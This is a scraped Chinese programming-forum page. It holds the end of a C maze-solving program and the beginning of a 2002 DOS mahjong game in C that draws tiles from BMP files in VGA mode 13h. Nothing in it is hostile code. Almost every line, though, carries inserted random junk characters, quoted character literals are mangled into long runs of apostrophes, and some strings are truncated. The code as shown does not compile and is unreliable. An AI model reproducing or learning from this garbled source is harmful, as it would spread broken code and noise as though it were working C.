3 q8 B5 B$ H: ]. |: w. R3 Vmaze[seat.x][seat.y].mark=-1;+ i8 D+ j. U- X8 A( r) ^
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */" Z9 v4 j0 ]2 U
} /* MarkPrint */
1 @+ k6 N5 m  F& Zvoid FootPrint(PosType curpos)5 P6 n0 K: R9 ?  q! l
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
& E0 F; N' D) ^/ `4 B- E{
2 O2 Z7 C! {% u0 o# ~6 q: s' q; gmaze[curpos.x][curpos.y].foot=1;
! P1 T' Q. O1 |# H/ N6 E} /* FootPrint */
( J, r" U2 O; K; q* H* e# a: VPosType NextPos(PosType seat,int di)
; ?4 C6 m; o  R{
% Y0 @+ M" {  U3 oswitch(di)
6 @9 _" X! ?6 y6 V$ k{' u! z2 v/ Q0 y" w: {
case 1: seat.y++; return seat; /* Eastward */5 @6 ~1 T4 ?- ?3 G: `. p
case 2: seat.x++; return seat; /* Southward */- U( v  P5 r3 y5 G
case 3: seat.y--; return seat; /* Westward */2 i6 h) h# L1 I% j! ~1 w5 t
case 4: seat.x--; return seat; /* Northward */
2 B7 J9 l) ?8 M6 c" _8 Ldefault: seat.x=0; seat.y=0; return seat;
  Z3 L- ?2 \! S# ]  M. |; w}
# u7 f* ^' A" {* Z2 z4 A. {& N} /* NextPos */
/ `% g# \+ e, W/ o/ E6 x: b% X7 E6 o" Z( Y- v
/* The key to the program. */
! n. E$ |# {1 f" n0 N/* Pre: The maze array &amp; the startplace &amp; the endplace.
  s6 C! J. U8 E, h# I( w' {3 q9 q+ K& ZPost: Find the one traverse of the maze and perform the mazepath.
8 U/ x- w, O  P5 h$ h5 n- YUses: The ADT stack class.0 W9 i2 Z( p" M9 U' b. z$ L
*/5 E- y( W- D; z
Status MazePath(PosType start,PosType end)
; `$ V2 l4 z5 C# p/ b" x{
" K0 }6 Q/ R7 K2 n, D. lPosType curpos;0 [& W4 P' L8 O5 j
int curstep;
5 C5 ?+ _, X& t+ XSElemType e;
  Q, U5 H9 u; `9 aStack *s,stack;3 W0 K& E1 T  m$ _6 Y- g9 I# ?
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
. h: {. ^0 O/ ^( m; A- ?if(!stack.base) Error("Overflow");
3 k  M. a8 `( ?* j4 pstack.top=stack.base;. D1 X6 y$ \9 g; ?
stack.stacksize=STACK_INIT_SIZE;
, d& U% B* w. I( b& F6 r8 k4 v* as=&amp;stack;
* d. }+ @) l7 x9 [; r) F+ Gcurpos=start;
3 i! I0 M  E. q5 A$ F' ^curstep=1;$ E- p7 I6 @. F% q8 @
do2 a3 X# a  A" o6 c# v' O, X3 y7 \  t
{
& n0 E3 h; M8 R- ]: }# ?if(Pass(curpos))
, e' E& r  @0 |' L6 o0 R1 Y; t7 u{
: O  c8 h" c. F, ?% w) |FootPrint(curpos);
. a; E1 |3 b+ k. S' h) _2 ce.ord=curstep; e.seat=curpos; e.di=1;0 _- o- M: F: x  l, i: ~
gotoxy((curpos.y+1)*2,curpos.x+2);
- e" a; i/ s' B$ X5 R' fputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
2 |7 P' I$ p" X( b/ [: \delay(8000); /* pospone time. */
6 Z2 S) j5 J6 @6 C5 @Push(s,e);
& c6 N+ n: d/ B. H8 o2 q9 k1 l# g: e# Tif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
7 l1 J0 H: e# t" \7 e# v{
6 ]: A+ |) ^+ ~* Y: aDestroyStack(s);* a- I9 t% s9 o
return TRUE;
8 d8 c2 P9 Y& K. E4 P% T# G}
% l* }+ x2 y& P/ c' `6 a! Ncurpos=NextPos(curpos,1); /* Try next position. */+ `8 N" X+ ~1 F+ V$ K% {" q
curstep++;
, O/ }  Z8 @/ c" O5 }3 N0 G7 c& f}
) v. ~! {7 l+ N0 @7 C+ welse" i3 p1 U3 s* I% u# m$ `
{
9 Y9 m# d6 f" R! {5 Mif(!StackEmpty(s))  ^4 g3 v! g( T2 M
{
* t4 w+ k4 e: c. x4 xe=Pop(s,e); /* Removed e from s. */
- W" {! v# ^" w) v( m% [7 Zwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
2 P4 E+ c" K1 G* O8 tand s is not empty. */& E. Z. w& y# |
{
0 j- E# D) g; {% o' _MarkPrint(e.seat);- U4 Z5 O+ Y2 b
gotoxy((e.seat.y+1)*2,e.seat.x+2);+ z$ y6 J' I0 [( W" U5 a
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');* }! [" b  }9 W5 |5 l
delay(8000); /* Pospone time. */
; x& F( ]! h" n4 O/ J" ygotoxy((e.seat.y+1)*2,e.seat.x+2);& l  ]5 t4 f7 I+ ^% I) `
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
* Q  N3 `1 x; _e=Pop(s,e); /* Remove e from s. */
0 ^( B2 _2 I& n% o2 A  z: x& |: D" Ocurstep--;
& \  A, z9 N8 _8 g  r}4 R) W4 W$ V# Q4 g5 D, R
if(e.di&lt;4) /* The current position hasnot been checked. */
; y. A0 w; p+ V. v: E9 J' J- ?{% z, H" T; B. e
e.di++;
$ V; H* R- x% S- [8 b1 }0 yPush(s,e); /* Insert e into s. */: M5 T' c- ]4 \0 [" M
curpos=NextPos(e.seat,e.di); /* Try next position. */
. u2 [# c$ N& x& \, O}
( Y9 ^) c, t+ ^- R0 c4 q}  U& t+ a! _/ W3 y1 D
}5 v: }* ~. r$ N# P- H& u! H
}
, V( C* T0 J" F' s- _* m! f" D! vwhile(!StackEmpty(s));) g  k7 S/ i  `1 i: s
DestroyStack(s);; G8 |/ J' Q  `
return FALSE;
* N+ q; T! ?+ W4 D4 ~; M2 O} /* MazePath */
0 n- s$ c& n6 i0 A4 Avoid main()
( Z1 O( H1 k5 l8 A8 ?3 i/ y{* \* a$ a: N" S4 f# C
PosType start,end;
0 L" J# F* B6 K) Z% S; V. hCreatMaze();
0 ^1 m* z: |2 D5 q5 ^1 Mstart.x=StartPlace.y;1 Z  R5 ?6 B) i1 ?/ E8 \8 k9 B" ~
start.y=StartPlace.x;
& x& h) I/ Q4 D- Hend.x=EndPlace.y;
1 V6 H8 J& t1 Z0 m5 j; pend.y=EndPlace.x;
; s2 k7 Y; W& a" x/ r& K  Q7 k* cif(MazePath(start,end))3 F' t5 h1 u; O& Q, ?
{' O+ `: P: q8 @$ V& y
gotoxy(2,22);* _" G( _% v9 }6 {! o( Q
printf("ath found\n");
* v( p8 Y2 d* S# o" X9 A' H( U}
6 M" f: N$ s6 J* w) B; aelse
: W& i, v1 l3 [/ w+ d* x9 F{! Z0 A# ]- |5 `
gotoxy(2,22);) n4 D' g5 e! P; B" x8 b
printf("ath not found\n");% }8 u( L9 C/ |* Z
}
8 r& O9 P! o; ?- l4 Y2 }getch();
6 }) U6 M& O% F+ F$ F3 Cclrscr();
+ n+ L! m& n  B9 f& A, Y5 A3 i} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传6 n* E) V# ?# O( `, }& u
/*天宇软件! }7 F7 L% |7 A0 \
作者:上海黑暗之龙
( S3 M5 [0 W0 M: S$ E2002/10/30" v! \& J8 Y# S' p" r4 t" z" I
麻将原代码*/+ t. ]( m% N/ w5 I. Z
#include "dos.h"
( ?' T7 M3 j9 l' e#include "stdio.h"
5 \* W# B2 d) I2 K2 M% r( e#include "graphics.h"
$ q5 Y* a# P) H5 ]#include "bios.h") e. J* K4 d: d. \& C3 l% x
#include "conio.h"7 l6 j4 @$ `1 k+ Z' B+ D9 Y
#include "stdlib.h"
5 E& A6 u- a: _" ^$ h- punsigned char far *video_buffer=(char far *)0xA0000000L;9 P1 F7 G: Z4 x8 n
#define VGA256 0x13 /*图形模式13h*/) r8 |& V! l! _$ `1 L9 A
#define TEXT_MODE 0x03 /*普通文本模式*/
! V- ]: Y7 w1 Y/ H/ F2 f+ @$ ~/ l#define SETVGA Set_Video_Mode(VGA256)- V5 {) Z+ H* n
#define OUTVGA Set_Video_Mode(TEXT_MODE)
  ]! s$ T1 J, o' W#define BYTE unsigned char8 q4 }% D' z' _9 h& `- }
#define WORD unsigned int+ L2 o* ~! T- U8 U& x5 s# P' h! e
#define DWORD unsigned int- ^' K( s) t5 n: M
#define ESC 283
! d3 a7 p" C" {/ Q. v7 g! ]0 g#define LEFT 19200
9 E, K  ?8 t6 A6 `; h5 E9 A#define RIGHT 19712: y. p) Q, {0 t
#define H 9064, C* ~0 D2 P, }% `3 B
#define ENTER 7181: t( W- i9 Q8 L; E
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;, U+ x6 Q6 ~  _0 ?' L5 `
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
6 v; c8 I# Y( w) Lstruct chi% V- }1 Y; P1 R7 F
{$ F+ q+ o; E* r, Y# q8 o
int lg;
8 s1 B9 f8 d5 n" @# _( O6 z# Zint lgg;
# B  Y5 Q* S; B! U1 \0 D! q2 n}ch[13];
' Y, g. f; v' @: Rstruct mj
; X; Z  ]/ U6 y: S* B{ char *name; /*名字*/0 G3 z0 R+ E9 X
int data1; /*是否已出,无用了*/
9 p: S, k: T( sint data2; /*是否在手中,1为自己,2为对方*/, e3 M: B- l9 Q' n% ~/ A) j
int number; /*同一个花色的第几张,共4张*/
8 V$ e7 J: h  o}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,3 O1 ]  b4 P2 h7 z2 |" F
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
. P8 b5 N4 X$ |" K' N"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,# S( |- a- a- _
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
; s' N2 P8 E' U3 g% \"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,' p+ \9 Y& S8 l0 a8 x- n
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
# d7 F) B3 S4 ?6 Q"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,. S7 ]: J+ U! X: q" p3 _6 e
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,- b3 }* u2 P. x$ o2 _, E
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
* ^" J( z+ `7 }: f5 S- R* [# ["12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,, Q( J3 w' v, j* r7 h$ y/ W
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,( d& y% e$ \6 H) J" j9 R- g
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
3 \6 F" a, W! Y" W"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
+ @+ d' T3 s# N' N"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
$ B$ e5 |. M1 ~& M" n; a"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
( \! \5 L7 i' v2 e0 s4 k: F% v"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,) h5 c, O7 g  k  K& i
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,1 D  N1 z  p/ x. u# p% x$ H7 X
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,  E  F, f$ y( j# t: t5 G
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,% O, P' R, L+ V) j" R
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
0 _% B) d3 u* b( U4 A# F' F& i"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
5 n0 q* R7 H0 |) l7 w$ M7 Y"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,! d! a7 F$ ~5 `6 |
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
, G$ ]( c& Q7 e- W2 y+ L"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
3 Q0 }, I4 J; J: H' W0 i2 R"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,5 i0 z9 I: I# D9 h: a
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,  Z1 L3 ]1 e1 S2 j+ o! u0 w  i
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3," |! {1 a5 m0 Y  P/ A# K  `3 c$ A
"34.bmp"};
; q, |, [, a* g3 zstruct every
" ^/ p5 r5 t7 ^# D9 r{ int *k; /*名字*/) @- N  P9 r) m7 D$ p  Y3 K" x1 ?
int oneorfour; /*同一张牌的第几张*/. S& \) o3 P* e" f
int number; /*第几张牌136*/' |) H; g2 K. ]  B/ a7 d5 H: a
int p;
1 _5 {5 ]9 s5 R: P# eint g;
: o4 ~4 B% e* Z! Hint c;
6 v/ [, ?; V8 Z% G) rint d[2];
8 b7 W' Z& J- h& `) e};
" E. R/ Q( |6 N% L& _struct me
8 k7 ~; H5 V1 g: V! n. t3 T  x{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
( k0 L" U6 H- X, M: U( qint p; /*乓对方*/5 o5 A4 ?) i, h( T6 z
int c; /*吃对方*/" r6 H" {5 N8 l) K9 q( e* i8 O
int g; /*杠*/
6 Z7 E) o: d4 q9 Y7 x4 \# m
" _! L+ g7 Z) u. Z: p$ _! d' bstruct every pp[14]; /*存放手上的牌*/* M/ p" I2 {9 [' o+ S
}me;
# }$ t5 `/ }6 d" Dstruct computer9 _2 M5 y; M7 S- `
{ int m;. i4 F( k* c. J
int p;
! {' `# b3 q. [3 C0 |& Oint c;; C8 a! ]: l5 u% F
int g;/ a1 R2 W0 ?  g% [" Q2 m; L; K
struct every pp[14];' l; x0 q; d. @0 h0 P5 w$ \8 |
}computer,comp;9 T: [. Z% v- {2 w2 E
4 K4 ], P: e- R6 g. ~
/* 设置调色板 */
: D8 V. X( k% u; P& E( D9 a, Svoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
/ P* H$ Y; [! n# O* L4 I7 G{
+ b  ?# O+ \. s4 Routportb(0x3c8,Color); /*0x3c8写端口 写色号*/6 C7 K4 N" m9 W# t* t
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/6 b# [4 Z$ Y8 ]7 I8 x5 X
outportb(0x3c9,g);
5 D" J% C2 k* W9 G" voutportb(0x3c9,b);% f' Z2 S" T1 e6 c
}
+ {. [* \, S2 H3 W; \+ P/ g7 k/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
4 z# R1 y8 m+ i% z" z/* 设置显示模式的函数 */. S# c" m+ W6 A# I
void Set_Video_Mode(int mode)
% X2 p6 ]4 w- c! a4 f; i{
3 W% S' D4 j$ Z8 v6 Q8 r/ Tunion REGS inregs,outregs; /*定义输入和返回寄存器*/2 ~1 M9 q6 G  e
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/  y* V( ]) ^. s$ I3 Y0 [' i2 _  V
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
8 w4 ?( i; O8 B( M5 cint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
2 u& l. j" Z9 W/ C& r9 t}! e- M: ?( Z, n! l: m
void v_line(int y0,int y1,int x,unsigned int color)1 z3 y8 b  z& X% j# V
{ unsigned int address,n,temp;# y" M( F7 J/ G
if(y0&gt;y1)
. z( B0 a9 ?: }% h4 v, H{
+ }) x; ]1 S4 P5 ]0 c. q+ m5 Jtemp=y1;
2 V5 X0 v7 n$ t5 z/ Ey1=y0;
' {* |( Z- Q; H; Cy0=temp;6 }! }/ Q% t7 g$ S- p1 w6 h4 H0 b
}
( ~' t! a7 ^- V/ O6 Caddress=320*y0+x;
# K  S4 D" T& O0 \9 Xfor(n=0;n&lt;=y1-y0;n++)' ~* Z9 t/ o1 H$ b- A( K) g
{
2 j+ T- n2 v" B% Z$ M% Q! Yvideo_buffer[address]=color;
7 \. x6 Y! S; T* F0 w; yaddress+=320;6 R( c: T3 R3 y) J3 M( B
}
+ V- \! E: X" [9 ^}
% h" w, X2 j& l" x" W, _void h_line(int x0,int x1,int y,unsigned int color)
* [. f4 K/ R# o{ unsigned int address,n,temp;
0 K2 o: Y& i( p2 Z+ {( K7 |if(x0&gt;x1)( D6 E5 c6 U. l5 d
{5 R4 ?- W2 d" j8 N3 g
temp=x1;
% w5 L2 S2 l4 q3 k* Jx1=x0;
; O/ y) e8 N: mx0=temp;( b( h- M+ K* x, q1 t9 g2 z. Y
}
, q8 }- k& h; b* b1 \% j7 Aaddress=320*y+x0;
% ^0 [  {2 K+ @& Zfor(n=0;n&lt;=x1-x0;n++)
* y$ p6 q7 U# g& H+ l0 }{
: v0 _) W. I! vvideo_buffer[address]=color;3 J! r/ S: h# q: u- K) b, [
address+=1;; ?6 M. q2 R* ?! `, b
}
$ v! g7 k4 O, b, h}
4 _$ q) y1 W" d) B0 n  F; G/ gvoid p_pixel(int x,int y,unsigned int color)0 v; V+ k& ]9 y6 V% U0 L4 F
{ video_buffer[y*320+x]=color;8 W5 n4 b5 g3 Q% C$ [- u
}5 {. `) @( S) u1 u5 c, S; _
void s_square(int x,int y,int side,int color): w+ M: x( }5 I- _$ t$ r; A' e, K* L
{
0 z6 n( z( L% P! F9 jh_line(x,x+side,y,color);
' T  z' f) t; ^1 `2 ^1 ch_line(x,x+side,y+side,color);' t" |" @9 A3 z9 ^( [" H3 z8 E6 ^
v_line(y,y+side,x,color);! r: B& v2 x3 v3 X" j  a
v_line(y,y+side,x+side,color);
* @+ r, ?1 u( H. a}! [7 R1 o2 j/ T8 F; s) t: d
void r_rectangle(int x1,int y1,int x2,int y2,int color)
! k, n+ O: z  y" A& j{; ?8 q; k- |) p' j9 H0 Y
h_line(x1,x2,y1,color);, T6 k; A1 U, Q, y/ ~4 D7 {8 D
h_line(x1,x2,y2,color);
% [- i; w+ x4 j: c$ j- t; }v_line(y1,y2,x1,color);
7 Z+ c, o2 _3 Z1 \0 n3 ~v_line(y1,y2,x2,color);% I% |6 i# ?5 |( F% h$ }
}% O7 V3 {2 w5 o1 A$ z0 D3 T
void fillRectangle(int x1,int y1,int x2,int y2,int color)
* T$ b! M* O: k3 b{
* L  R& z& d, Y; ~  C0 c" n! eint i;
/ d7 p9 a& {$ j% |* T1 ?: Afor(i=y1;i&lt;=y2;i++)
# z5 h$ E9 r7 {( ~; J{
3 q; |5 P1 k5 Y+ l( I1 f& O( hh_line(x1,x2,i,color);% n! T+ o2 D/ b- u8 K, x* d: v
}) n0 c: x( ?( T& H! f% d# _
}# o$ K$ V+ H# F, `$ x( I  }
void showbmp(int l)) \1 Z5 _: a$ F! A, o( x
{ FILE *bmp;
4 l; s" i- R# g& I( c- |6 ?( Z/ qint i,x,y;* S' `/ y1 _9 r
BYTE palette[256][3];" b6 }) y! G5 m- K# U; Z
bmp=fopen(me.pp[l].k,"rb");
/ H- L  k4 f, G" x' ffseek(bmp,54,SEEK_SET);8 A  c( W4 _' v/ {5 @  \
for(i=0;i&lt;256;i++)! P: ]! u  O! ?) t
{( F$ O. M/ Y) x( h& l
palette[2]=fgetc(bmp)&gt;&gt;2;$ e7 e0 q# [; b  w1 ~! D! o) `% }
palette[1]=fgetc(bmp)&gt;&gt;2;1 G/ N! ^0 ~2 C! M4 `
palette[0]=fgetc(bmp)&gt;&gt;2;
" h6 z1 ]1 g4 ifgetc(bmp);
9 e1 ?% Q+ B; @; z3 MSet_Palette(i,palette[0],palette[1],palette[2]);% k; g7 J# n7 k  N7 K5 B1 C2 B
}
! N6 y: Q3 D6 w- u  R! ~! Wfor (y=0;y&lt;30;y++)$ [/ ~$ ?/ q7 L6 k4 O
for(x=0;x&lt;20;x++)
9 p6 U3 Y- M5 x2 M" {pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
/ x6 K+ H/ ?2 `/ ^: D" s: q( ]* I- ufclose(bmp);
) G1 Q6 Z9 [& L+ o}" [; M, @# x. @. D$ P: w
void showbmpd(int l)# n4 b7 z- L0 l
{ FILE *bmp;$ C/ g8 f- |0 r
int i,x,y;) m4 @: u) n  r
BYTE palette[256][3];
7 Q% t" Y, F- K: E4 F( B, i' Vbmp=fopen(me.pp[l].k,"rb");; R8 s: y7 \4 Z, D
fseek(bmp,54,SEEK_SET);" ~% G$ u6 Q; e( w( y/ t% P
for(i=0;i&lt;256;i++)
, G6 v! S* q( W! f! d4 ^0 ?* U# K{
2 X1 m* e: ]' Opalette[2]=fgetc(bmp)&gt;&gt;2;
! Q7 T1 j1 F  L! b7 j/ npalette[1]=fgetc(bmp)&gt;&gt;2;; ]2 l; C9 D( S
palette[0]=fgetc(bmp)&gt;&gt;2;$ d: i) o0 G; Z# I; M% k3 o
fgetc(bmp);- i( f3 j: _$ _8 \# r8 ]: H& T- {
Set_Palette(i,palette[0],palette[1],palette[2]);
! \. X; P& c3 t, M' c6 y2 \7 R# S}
3 M& e" U* L; i8 |/ h- Y1 G, Q  pfor (y=0;y&lt;30;y++)& o) V+ [+ k# I
for(x=0;x&lt;20;x++)& M# v: \. V4 {! ~( K) o" J
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 O2 S+ o3 u* C( U. rfclose(bmp);8 g: o7 J: k" k5 q
}: `. t5 M, R6 V/ C7 Z9 u+ @& {
void showybmp(int ll)" o1 N( B/ H! A
{ FILE *bmp;' o& f$ @: b7 X  k
int i,x,y;/ ~% g, D, Y* Z
BYTE palette[256][3];
" X/ S% n2 x" s+ f& G. Q# qbmp=fopen(computer.pp[ll].k,"rb");
) ]( ?2 t3 g% J+ x8 n0 p) n! ~fseek(bmp,54,SEEK_SET);* J, S4 B2 A/ M" y5 ~
for(i=0;i&lt;256;i++); _4 F# K' J: X6 c
{, k: e3 ~) \1 O
palette[2]=fgetc(bmp)&gt;&gt;2;
: e' ~$ U) c" ipalette[1]=fgetc(bmp)&gt;&gt;2;
( M  \" D% b4 \+ t+ V  N6 Bpalette[0]=fgetc(bmp)&gt;&gt;2;# W' Q' U  ?  S, s
fgetc(bmp);, y" {4 `- y& A" @' `0 a# f
Set_Palette(i,palette[0],palette[1],palette[2]);. O) X3 @$ S' e0 K& y
}
/ r( u5 t& M$ x. cfor (y=0;y&lt;30;y++)) E! Z, w2 J1 _# \. T% y+ k
for(x=0;x&lt;20;x++)
; b( h6 _  n" v+ u5 epokeb(0xa000,y*320+x+zy,fgetc(bmp));' Y1 X: O3 O% O7 i; U
fclose(bmp);4 W: e! k  g# V! Z6 S. I5 B
}. M5 l9 r  ?8 @: _. ]: D4 t3 w
void showcbmp(int ll)
3 v- T( Y1 ?6 o2 r9 `0 W2 P. s{ FILE *bmp;+ H# w9 Y. u4 C( `: O4 E  h4 q
int i,x,y;
. ^# [- b$ B: ?BYTE palette[256][3];
* f5 F3 X! Z, r9 c& u! q0 b) ibmp=fopen(computer.pp[ll].k,"rb");7 n) D; m5 y; t6 c& a9 m
fseek(bmp,54,SEEK_SET);+ c# x2 f- q. g9 t- e) G' [& u
for(i=0;i&lt;256;i++)6 Y1 ]8 L' c" L7 [' I8 X
{
# @0 b- g/ V2 a/ w5 n! H6 Hpalette[2]=fgetc(bmp)&gt;&gt;2;- Q9 s  X# r# E) s8 i
palette[1]=fgetc(bmp)&gt;&gt;2;% Q2 w6 l1 Q0 I2 D3 L' T$ o6 A! m
palette[0]=fgetc(bmp)&gt;&gt;2;: ^+ \" n, Y2 b+ A! Z
fgetc(bmp);
3 K- z5 Q* q4 ]* e9 B3 J6 ^3 hSet_Palette(i,palette[0],palette[1],palette[2]);
( o; S& J, ^/ o1 J; N0 O' P}* L/ t) G9 x+ y( o* N. y
for (y=0;y&lt;30;y++)
5 Q( c& \5 x7 R; Rfor(x=0;x&lt;20;x++)
% y+ u. ^% F. F( ?; k8 Xpokeb(0xa000,y*320+x+zyy,fgetc(bmp));3 x4 |1 m/ ]% O: p* N8 w
fclose(bmp);8 X4 J  U) B# p9 c1 _* S
}
+ [7 C" ~3 V6 ]void bmpp(int number)
& g- f6 j3 `0 u4 Y8 N" P: K+ D8 \{ FILE *bmp;
2 {9 I) N* J# sint i,x,y;
( O" R1 K. V# d% r3 O1 dBYTE palette[256][3];5 o6 g; D9 x4 q
bmp=fopen(m[number].name,"rb");3 \# V) j* ~) o, I. S, k
fseek(bmp,54,SEEK_SET);
3 d9 l. W% e# C- |for(i=0;i&lt;256;i++)3 I) T: {. M& N$ U3 j4 I: @
{0 a$ b6 N- K% _4 m, W  J5 s2 a0 s
palette[2]=fgetc(bmp)&gt;&gt;2;
3 G; H: }2 Z4 i) M+ kpalette[1]=fgetc(bmp)&gt;&gt;2;
1 r. @* n1 o: y! p$ @1 C7 r: Qpalette[0]=fgetc(bmp)&gt;&gt;2;4 v- n$ n7 K2 S3 n) ~7 `
fgetc(bmp);
% h7 t5 ]! H1 W% [3 B* mSet_Palette(i,palette[0],palette[1],palette[2]);
" J$ ]" y( z/ c( _5 t}
. ]& w% d. Y. T, s. \5 Xfor (y=0;y&lt;30;y++)
/ u- B6 V& \* }# D! M0 a3 @for(x=0;x&lt;20;x++)6 ]' N* d  B9 `; g. [/ x2 f
pokeb(0xa000,y*320+x+zl,fgetc(bmp));9 s# e6 s6 H( v4 X
fclose(bmp);
, i. `6 f$ V8 H, ]# ]) R' V}. y, |$ _4 s( O4 |, e+ {
void comlipai() /*整理电脑的牌*/
5 Q; Q( G% m: F4 A- d{ int n,j,u;
( N% J9 [/ e9 l% p. Nint *lingshi;+ I" {& c" N, T
for(n=0;n&lt;computer.m;n++)
! }; s6 i1 y- q! O! b6 u0 r/ u$ Cfor(j=n;j&lt;computer.m;j++)) M3 n$ R- o. b
{
  s1 }. y3 ^+ e: X: P6 Z: M0 D0 vif(computer.pp[n].number&gt;computer.pp[j+1].number)7 ~( H; Q3 A' C, i  F. R
{
3 J3 c. g$ z! I  _5 ylingshi=computer.pp[n].k;5 ^: e5 T! l4 D" S9 l" S" M' m' h8 Q: i
computer.pp[n].k=computer.pp[j+1].k;
; f( N- u( Z. Z; X! [computer.pp[j+1].k=lingshi;/ D/ G" \. v) L8 K9 x8 U; z
u=computer.pp[n].oneorfour;
! n4 ]. j' a5 Y: {$ Ccomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
# d1 Q' s6 u  b! {& Ccomputer.pp[j+1].oneorfour=u;  _" f# I$ N3 b$ E
u=computer.pp[n].number;& A8 J8 q. b! p6 c2 h# X5 x
computer.pp[n].number=computer.pp[j+1].number;! L; j' Q6 |0 Z# a- }
computer.pp[j+1].number=u;' d: X; l0 E1 b+ E: b
}. t' K0 l0 y# `8 J
else
9 z! ^, @) _4 k/ o; Fif(computer.pp[n].number==computer.pp[j+1].number)0 B) Q: M. I: _1 `/ U* W1 a
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour): O% H) E  o+ t& F7 a
{4 K" `$ D! G! K7 J' V0 Z
lingshi=computer.pp[n].k;0 z7 b* K. q3 b9 t. a  Z5 [
computer.pp[n].k=computer.pp[j+1].k;
1 ?  L- S& g* c+ U* [* w& f6 ocomputer.pp[j+1].k=lingshi;$ x  r& `5 P$ w. D- P+ L
u=computer.pp[n].oneorfour;
; z! c$ j5 g( W3 [: a( b# j( rcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
: }, O+ n0 O+ C( t' gcomputer.pp[j+1].oneorfour=u;
; \' S( Q6 x, [u=computer.pp[n].number;9 \9 @8 v5 L6 R+ k8 }& J
computer.pp[n].number=computer.pp[j+1].number;
0 |! Z. b3 n- dcomputer.pp[j+1].number=u;
( E0 P  q* J- `' s3 W8 ^2 J}
